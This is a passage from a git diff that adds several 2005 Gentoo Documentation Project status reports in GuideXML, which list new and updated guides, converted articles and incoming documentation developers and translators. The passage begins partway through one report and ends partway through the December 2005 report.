+The <uri link="/doc/en/fluxbox-config.xml">Fluxbox Configuration Guide</uri> has
+received additional love. <mail link="alin@gentoo.org">Alin Dobre</mail> added a
+section on an application launcher and information on graphical file managers.
+You'll also find more information on <c>fluxbox-generate_menu</c> in it.
+</p>
+
+<p>
+The <uri link="/doc/en/handbook/2005.0/handbook-x86.xml">Gentoo/x86 2005.0
+Handbook</uri> now has additional information on configuring kernel modules.
+</p>
+
+<p>
+<uri link="/doc/en/handbook/handbook-x86.xml?part=2&amp;chap=1">A Portage
+Introduction</uri> has been extended with a section on <uri
+link="/doc/en/handbook/handbook-x86.xml?part=2&amp;chap=1#doc_chap3_sect3">Finding
+Installed Package Documentation</uri>.
+</p>
+
+<p>
+The <uri link="/doc/en/virt-mail-howto.xml">Virtual Mailhosting HOWTO</uri> has
+received some updates that make it accurate again for the latest versions of
+the used software.
+</p>
+
+<p>
+The <uri link="/doc/en/kde-config.xml">KDE Configuration Guide</uri> now has
+information on several separate KDE applications (for KDE &gt;= 3.4's split
+ebuilds).
+</p>
+
+<p>
+Of course, we shouldn't forget all the updates to the other guides, such as
+spelling and grammar fixes and bugfixes that were reported to <uri
+link="http://bugs.gentoo.org">Bugzilla</uri>.
+</p>
+
+<p>
+An overview of all fixed bugreports since the last status update can be found on <uri link="http://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=allwordssubstr&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=RESOLVED&amp;resolution=FIXED&amp;emailassigned_to1=1&amp;emailcc1=1&amp;emailtype1=substring&amp;email1=docs-team%40gentoo.org&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;changedin=&amp;chfield=resolution&amp;chfieldfrom=2005-04-13&amp;chfieldto=2005-05-30&amp;chfieldvalue=FIXED&amp;cmdtype=doit&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">Gentoo's bugtracking system</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentoo Documentation Policy</title>
+<section>
+<body>
+
+<p>
+The Gentoo Documentation Project has had a big update on the <uri
+link="/proj/en/gdp/doc/doc-policy.xml">documentation policy</uri>. It now
+contains more specific instructions on how to apply for Gentoo Documentation
+Developer status, including a <uri
+link="/proj/en/gdp/doc/doc-quiz.xml">documentation quiz</uri> which covers a
+magnificently <uri link="/proj/en/gdp/doc/fix-me.xml.txt?passthru=1">ugly
+formatted document</uri> which needs some coding style love :)
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20050630.xml b/xml/htdocs/proj/en/gdp/status/status_20050630.xml
new file mode 100644
index 00000000..59016113
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20050630.xml
@@ -0,0 +1,173 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/gdp/status/status_20050630.xml">
+<title>GDP Status Report</title>
+<author>
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+
+<abstract>
+Status report of the GDP project
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>2005-06-30</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">New / Updated Documentation</uri></li>
+<li><uri link="#doc_chap3">New / Pending Developers</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New / Updated Documentation</title>
+<section>
+<body>
+
+<p>
+Various documents have been updated since the previous status update:
+</p>
+
+<ul>
+  <li>
+    The <uri link="/doc/en/handbook/">Gentoo Handbook</uri> has been updated to
+    remove all occurrences of <c>emu10k1</c>, improve the description on the
+    usage of <c>lspci</c>, update on the <c>devfsd</c> versus <c>udev</c>
+    debacle, etc.
+  </li>
+  <li>
+    A fourth part has been added to the <uri link="/doc/en/handbook">Gentoo
+    Handbook</uri> as well: <uri
+    link="/doc/en/handbook/handbook-x86.xml?part=4">Gentoo Network
+    Configuration</uri> covers Gentoo's current <c>baselayout</c> on the subject
+    of network configuration, including wireless networks.
+  </li>
+  <li>
+    The <uri link="/doc/en/nvidia-guide.xml">NVidia Guide</uri> has received a
+    major update, as well as our <uri link="/doc/en/faq.xml">Gentoo FAQ</uri>.
+  </li>
+  <li>
+    <mail link="fox2mike@gentoo.org">Shyam Mani</mail>, a new Gentoo
+    Documentation Developer, has rewritten the <uri
+    link="/doc/en/alsa-guide.xml">ALSA Guide</uri> since it was far from up to
+    date
+  </li>
+  <li>
+    The <uri link="/doc/en/security/">Gentoo Security Guide</uri> has now been
+    transformed in a handbook format
+  </li>
+  <li>
+    The <uri link="/doc/en/printing-howto.xml">Printing HOWTO</uri> has been
+    rewritten to make the text easier to read; better separation of duties,
+    etc.
+  </li>
+</ul>
+
+<p>
+Thanks to Benedikt Boehm we now have a <uri
+link="/doc/en/vserver-howto.xml">Gentoo vserver Howto</uri>.
+</p>
+
+<p>
+Shyam also converted a few IBM DeveloperWorks articles to GuideXML and 
+<uri link="/doc/en/articles/">published</uri> them online for your reading
+pleasure.
+</p>
+
+<p>
+Of course, we shouldn't forget all the updates to the other guides, such as
+spelling and grammar fixes and bugfixes that were reported to <uri
+link="http://bugs.gentoo.org">Bugzilla</uri>.
+</p>
+
+<p>
+An overview of all fixed bugreports since the last status update can be found on <uri link="http://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=allwordssubstr&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=RESOLVED&amp;resolution=FIXED&amp;emailassigned_to1=1&amp;emailcc1=1&amp;emailtype1=substring&amp;email1=docs-team%40gentoo.org&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;changedin=&amp;chfield=resolution&amp;chfieldfrom=2005-05-29&amp;chfieldto=2005-06-30&amp;chfieldvalue=FIXED&amp;cmdtype=doit&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">Gentoo's bugtracking system</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New / Pending Developers</title>
+<section>
+<body>
+
+<p>
+We have a few developers that are joining our team.
+</p>
+
+<ul>
+  <li>
+    <mail link="grahl@gentoo.org">Jan Hendrik Grahl</mail> will be helping
+    Tobias with the German translations
+  </li>
+  <li>
+    <mail link="smithj@gentoo.org">Jonathan Smith</mail> works on various
+    desktop-related guides
+  </li>
+  <li>
+    <mail link="josejx@gentoo.org">Joseph Jezak</mail> kills off the PPC bugs we
+    had in our documentation
+  </li>
+  <li>
+    <mail link="fox2mike@gentoo.org">Shyam Mani</mail> is now a full-time
+    documentation developer working on the English documentation
+  </li>
+  <li>
+    <mail link="jkt@flaska.net">Jan Kundrát</mail> will become the Lead
+    Translator for the Czech language
+  </li>
+  <li>
+    <mail link="rane@gentoo.pl">Łukasz Damentko</mail> is on the verge of
+    becoming the Lead Translator for the Polish language
+  </li>
+</ul>
+
+<p>
+Of course, each one of them is welcomed to our team. Have pity with them as they
+will be working hard to earn their stripes :)
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20050801.xml b/xml/htdocs/proj/en/gdp/status/status_20050801.xml
new file mode 100644
index 00000000..9939a5a5
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20050801.xml
@@ -0,0 +1,196 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="status_20050630.xml">
+<title>GDP Status Report</title>
+<author>
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+
+<abstract>
+Status report of the GDP project
+</abstract>
+
+<license/>
+
+<version>1.1</version>
+<date>2005-08-02</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">New / Updated Documentation</uri></li>
+<li><uri link="#doc_chap3">Translation Updates</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New / Updated Documentation</title>
+<section>
+<body>
+
+<p>
+Another few articles made it to the <uri link="/doc/en/articles">Gentoo
+Articles</uri> repository:
+</p>
+
+<ul>
+  <li>
+    <uri link="/doc/en/articles/lpi-101-fundamentals-p1.xml">LPI Certification
+    101 (release 2) exam preparation, part 1</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/lpi-101-administration-p2.xml">LPI Certification
+    101 (release 2) exam preparation, part 2</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/dynamic-iptables-firewalls.xml">Dynamic IPTables
+    Firewalls</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/bash-by-example-p1.xml">Bash By Example, Part
+    1</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/bash-by-example-p2.xml">Bash By Example, Part
+    2</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/bash-by-example-p3.xml">Bash By Example, Part
+    3</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/l-sed1.xml">Sed by example, Part 1</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/l-sed2.xml">Sed by example, Part 2</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/l-sed3.xml">Sed by example, Part 3</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/linux-24-stateful-fw-design.xml">Linux 2.4
+		Stateful Firewall Design</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/l-awk1.xml">Awk by Example, Part 1</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/l-awk2.xml">Awk by Example, Part 2</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/l-awk3.xml">Awk by Example, Part 3</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/hardware-stability-p1.xml">Linux Hardware
+    Stability Guide, Part 1</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/hardware-stability-p2.xml">Linux Hardware
+    Stability Guide, Part 2</uri>
+  </li>
+</ul>
+
+<p>
+<mail link="swift@gentoo.org">Sven Vermeulen</mail> has rewritten the <uri
+link="/doc/en/gentoo-x86-quickinstall.xml">Gentoo x86 Quick Installation
+Guide</uri> to be less detailed but more accurate.
+</p>
+
+<p>
+<mail link="chriswhite@gentoo.org">Chris White</mail> drafted up a <uri
+link="/doc/en/bugzilla-howto.xml">Bugzilla HOWTO</uri> which is a must-read for
+anyone interested in helping out Gentoo!
+</p>
+
+<p>
+<mail link="fox2mike@gentoo.org">Shyam Mani</mail> has updated the <uri
+link="/doc/en/alsa-guide.xml">ALSA Guide</uri> again with lots of fixes and
+updates based on community feedback. Keep it coming!
+</p>
+
+<p>
+The AMD64 project has added an official <uri
+link="/doc/en/gentoo-amd64-faq.xml">Gentoo/AMD64 FAQ</uri> to the repository.
+</p>
+
+<p>
+We also updated the <uri link="/doc/en/genkernel.xml">Genkernel Guide</uri> with
+lots of rewording and rewriting.
+</p>
+
+<p>
+Thanks to <mail link="jackdark@gmail.com">Joshua Saddler</mail> we now have a
+<uri link="/doc/en/gpm.xml">GPM Guide</uri>.
+</p>
+
+<p>
+Of course, we shouldn't forget all the updates to the other guides, such as
+spelling and grammar fixes and bugfixes that were reported to <uri
+link="http://bugs.gentoo.org">Bugzilla</uri>.
+</p>
+
+<p>
+An overview of all fixed bugreports since the last status update can be found on <uri link="http://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=allwordssubstr&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=RESOLVED&amp;resolution=FIXED&amp;emailassigned_to1=1&amp;emailcc1=1&amp;emailtype1=substring&amp;email1=docs-team%40gentoo.org&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;changedin=&amp;chfield=resolution&amp;chfieldfrom=2005-06-30&amp;chfieldto=2005-08-01&amp;chfieldvalue=FIXED&amp;cmdtype=doit&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">Gentoo's bugtracking system</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Translation Updates</title>
+<section>
+<body>
+
+<p>
+I know I don't talk about translation updates a lot but for once I didn't forget
+:) I would like to thank all translation teams for their continuous development
+in keeping their translated guides and handbooks up to date. 
+</p>
+
+<p>
+You will find that many languages have up to date documentation available. This
+doesn't happen automatically and many teams are in desperate need for more
+contributors. If you want to help out, please check the <uri
+link="/proj/en/gdp/international.xml">GDP Internationalisation Subproject</uri>
+to find out who is leading the translation jobs for your language.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20050906.xml b/xml/htdocs/proj/en/gdp/status/status_20050906.xml
new file mode 100644
index 00000000..09fd0991
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20050906.xml
@@ -0,0 +1,200 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="status_20050906.xml">
+<title>GDP Status Report</title>
+<author>
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+
+<abstract>
+Status report of the GDP project
+</abstract>
+
+<license/>
+
+<version>1.1</version>
+<date>2005-09-06</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail>gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">New / Updated Documentation</uri></li>
+<li><uri link="#doc_chap3">Additional Articles</uri></li>
+<li><uri link="#doc_chap4">Gentoo 2005.1 Released</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New / Updated Documentation</title>
+<section>
+<body>
+
+<p>
+The <uri link="/proj/en/apache/">Gentoo Apache Project</uri> has asked us to
+migrate their documents under our supervision, which we of course gladly did.
+You can now find the following three documents in the documentation resources:
+</p>
+
+<ul>
+  <li>
+    <uri link="/doc/en/apache-upgrading.xml">Gentoo Apache Upgrading Guide</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/apache-troubleshooting.xml">Gentoo Apache Troubleshooting
+    Guide</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/apache-developer.xml">Gentoo Apache Development
+    Guide</uri>
+  </li>
+</ul>
+
+<p>
+<mail link="swift@gentoo.org">Sven Vermeulen</mail> has written a <uri
+link="/doc/en/sudo-guide.xml">Gentoo Sudo(ers) Guide</uri> for all those who
+gotten a <e>use sudo</e> answer on <c>#gentoo</c> :)
+</p>
+
+<p>
+The <uri link="/doc/en/home-router-howto.xml">Gentoo Home Router Guide</uri> has
+been extended with some troubleshooting information.
+</p>
+
+<p>
+Thanks to <mail link="chriswhite@gentoo.org">Chris White</mail> we now have a
+<uri link="/doc/en/mysql-howto.xml">MySQL Howto</uri> as well.
+</p>
+
+<p>
+<mail link="marcel@holtmann.org">Marcel Holtmann</mail>, <mail
+link="deathwing00@gentoo.org">Ioannis Aslanidis</mail>, <mail
+link="fox2mike@gentoo.org">Shyam Mani</mail> and <mail
+link="puggy@gentoo.org">Douglas Russell</mail> wrote a <uri
+link="/doc/en/bluetooth-guide.xml">Bluetooth Guide</uri>.
+</p>
+
+<p>
+The Gentoo/FreeBSD team has delivered a <uri
+link="/doc/en/gentoo-freebsd.xml">short guide to Gentoo/FreeBSD</uri>.
+</p>
+
+<p>
+The Gentoo/MIPS team has provided the GDP with a <uri
+link="/doc/en/gentoo-mips-faq.xml">Gentoo/MIPS FAQ</uri>.
+</p>
+
+<p>
+Of course, we shouldn't forget all the updates to the other guides, such as
+spelling and grammar fixes and bugfixes that were reported to <uri
+link="http://bugs.gentoo.org">Bugzilla</uri>.
+</p>
+
+<p>
+An overview of all fixed bugreports since the last status update can be found on <uri link="http://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=allwordssubstr&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=RESOLVED&amp;resolution=FIXED&amp;emailassigned_to1=1&amp;emailcc1=1&amp;emailtype1=substring&amp;email1=docs-team%40gentoo.org&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;changedin=&amp;chfield=resolution&amp;chfieldfrom=2005-08-01&amp;chfieldto=2005-09-06&amp;chfieldvalue=FIXED&amp;cmdtype=doit&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">Gentoo's bugtracking system</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Additional Articles</title>
+<section>
+<body>
+
+<p>
+A few additional articles have been GuideXMLified and put on our web site:
+</p>
+
+<ul>
+  <li>
+    <uri link="/doc/en/articles/l-posix1.xml">POSIX threads explained, part
+    1</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/l-posix2.xml">POSIX threads explained, part
+    2</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/l-posix3.xml">POSIX threads explained, part
+    3</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/partitioning-p1.xml">Partitioning in Action,
+    Part 1</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/partitioning-p2.xml">Partitioning in Action,
+    Part 2</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/partition-planning-tips.xml">Partition planning
+    tips</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/maximum-swappage.xml">Maximum Swappage</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/prompt-magic.xml">Prompt Magic</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/afig-ct-ext3-intro.xml">Advanced Filesystem
+    Implementor's Guide: Introducing Ext3</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentoo 2005.1 Released</title>
+<section>
+<body>
+
+<p>
+With the 2005.1 release, the Gentoo Documentation Project has updated the <uri
+link="/doc/en/handbook/">current Handbooks</uri> to use the new release media.
+We also have uploaded the <uri link="/doc/en/handbook/2005.1/">Gentoo 2005.1
+Handbooks</uri> for those who want to perform a networkless Gentoo installation
+(using stage3 and GRP if they so wish).
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20051018.xml b/xml/htdocs/proj/en/gdp/status/status_20051018.xml
new file mode 100644
index 00000000..38e25acd
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20051018.xml
@@ -0,0 +1,220 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/gdp/status/status_20051018.xml">
+<title>GDP Status Report</title>
+<author>
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+
+<abstract>
+Status report of the GDP project
+</abstract>
+
+<license/>
+
+<version>1.1</version>
+<date>2005-10-18</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">New Documentation</uri></li>
+<li><uri link="#doc_chap3">Converted Articles</uri></li>
+<li><uri link="#doc_chap4">GuideXML Changes</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New Documentation</title>
+<section>
+<body>
+
+<p>
+While we already had a <uri link="/doc/en/mysql-howto.xml">MySQL HOWTO</uri>,
+an <uri link="/doc/en/mysql-upgrading.xml">MySQL Upgrading Guide</uri> has been
+submitted as well by <mail link="citizen428@gentoo.org">Michael Kohl</mail> and
+<mail link="vivo@gentoo.org">Francesco Riosa</mail>.
+</p>
+
+<p>
+The description of the various Gentoo stages has also been updated in the <uri
+link="/doc/en/handbook">Gentoo Handbook</uri> to make it easier for the users to
+understand when to pick a stage1, 2 or 3.
+</p>
+
+<p>
+The past month gave quite a lot of updates on existing documentation. After a
+quick word-count command on the CVS activity in the English documentation
+repository we see that 94 documents have been updated (of a total of 399),
+which is almost a quarter of our documents.
+</p>
+
+<p>
+Of course, we shouldn't forget all the updates to the other guides, such as
+spelling and grammar fixes, bugfixes or translations that were reported 
+and submitted to <uri link="http://bugs.gentoo.org">Bugzilla</uri>. 
+</p>
+
+<p>
+An overview of all fixed bugreports since the last status update can be found on <uri link="http://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=allwordssubstr&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=RESOLVED&amp;resolution=FIXED&amp;emailassigned_to1=1&amp;emailcc1=1&amp;emailtype1=substring&amp;email1=docs-team%40gentoo.org&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;changedin=&amp;chfield=resolution&amp;chfieldfrom=2005-09-06&amp;chfieldto=2005-10-18&amp;chfieldvalue=FIXED&amp;cmdtype=doit&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">Gentoo's bugtracking system</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Converted Articles</title>
+<section>
+<body>
+
+<p>
+To continue our article writing saga, another batch of articles has been
+converted to the GuideXML format:
+</p>
+
+<ul>
+  <li>
+    <uri link="/doc/en/articles/linux-kernel-compiling.xml">Linux kernel
+    compiling</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/software-raid-p1.xml">Software RAID, part
+    1</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/software-raid-p2.xml">Software RAID, part
+    2</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/lvm-p1.xml">LVM, part 1</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/lvm-p2.xml">LVM, part 2</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/openssh-key-management-p1.xml">OpenSSH key
+    management, part 1</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/openssh-key-management-p2.xml">OpenSSH key
+    management, part 2</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/openssh-key-management-p3.xml">OpenSSH key
+    management, part 3</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/l-afig-p8.xml">Advanced filesystem implementors
+    guide, part 8</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/l-redesign-1.xml">The gentoo.org redesign, part
+    1: A site reborn</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/l-redesign-2.xml">The gentoo.org redesign, part
+    2: A site reborn</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/l-redesign-3.xml">The gentoo.org redesign, part
+    3: A site reborn</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/l-redesign-4.xml">The gentoo.org redesign, part
+    4: A site reborn</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/samba-p1.xml">An introduction to Samba, part
+    1</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/samba-p2.xml">An introduction to Samba, part
+    2</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/articles/samba-p3.xml">An introduction to Samba, part
+    3</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>GuideXML Improvements</title>
+<section>
+<body>
+
+<p>
+Our GuideXML format has been extended with a few features to make (y)our
+life/lives easier:
+</p>
+
+<ul>
+  <li>Support for definition lists</li>
+  <li>Support for col- and rowspan attributes for table headings</li>
+  <li>Support for epigraphs</li>
+  <li>Support for <sub>subscript</sub> and <sup>superscript</sup></li>
+  <li>
+    Support for marking documents as:
+    <ul>
+      <li>outdated (for older release handbooks)</li>
+      <li>an article (adding disclaimer about origin and maintenance)</li>
+      <li>draft</li>
+      <li>obsoleted</li>
+    </ul>
+  </li>
+  <li>Support for redirecting users to a new document</li>
+  <li>
+    Support for informing the reader of a translated document that a more
+    recent document exists in the English documentation repository
+  </li>
+</ul>
+
+<p>
+Those interested in using these features should of course update their
+stylesheets to the latest version, read the mails on
+<c>gentoo-doc@gentoo.org</c> and learn the <uri
+link="/doc/en/xml-guide.xml">GuideXML Guide</uri> by heart.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20051216.xml b/xml/htdocs/proj/en/gdp/status/status_20051216.xml
new file mode 100644
index 00000000..05bdc8af
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20051216.xml
@@ -0,0 +1,241 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/gdp/status/status_20051215.xml">
+<title>GDP Status Report</title>
+<author>
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+
+<abstract>
+Status report of the GDP project
+</abstract>
+
+<license/>
+
+<version>1.1</version>
+<date>2005-12-16</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">New/Updated Documentation</uri></li>
+<li><uri link="#doc_chap3">Moving Stage1/Stage2 To Gentoo FAQ</uri></li>
+<li><uri link="#doc_chap4">Removed Documentation</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New/Updated Documentation</title>
+<section>
+<body>
+
+<p>
+Users who are seeking a distributed file system can look at our updated <uri
+link="/doc/en/openafs.xml">OpenAFS Guide</uri> for installation and
